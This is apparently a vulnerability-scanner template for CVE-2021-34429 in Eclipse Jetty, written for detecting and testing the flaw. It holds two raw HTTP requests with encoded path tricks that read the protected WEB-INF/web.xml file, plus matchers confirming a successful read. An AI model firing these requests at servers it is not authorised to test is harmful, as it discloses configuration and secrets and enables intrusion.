45 lines
1.4 KiB
YAML
45 lines
1.4 KiB
YAML
id: CVE-2021-34429
|
|
|
|
info:
|
|
name: Jetty Authorization Before Parsing and Canonicalization Variation
|
|
author: Bernardo Rodrigues @bernardofsr | André Monteiro @am0nt31r0
|
|
severity: medium
|
|
description: |
|
|
For Eclipse Jetty versions 9.4.37-9.4.42, 10.0.1-10.0.5 & 11.0.1-11.0.5, URIs can be crafted using some encoded characters to access the content of the WEB-INF directory and/or bypass some security constraints. This is a variation of the vulnerability reported in CVE-2021-28164/GHSA-v7ff-8wcx-gmc5.
|
|
reference: |
|
|
- https://github.com/eclipse/jetty.project/security/advisories/GHSA-vjv5-gp2w-65vm
|
|
tags: cve,cve2021,jetty
|
|
|
|
requests:
|
|
- raw:
|
|
- |+
|
|
GET /%u002e/WEB-INF/web.xml HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
|
|
|
- |+
|
|
GET /.%00/WEB-INF/web.xml HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
|
|
|
|
|
unsafe: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "</web-app>"
|
|
- "java.sun.com"
|
|
part: body
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/xml" |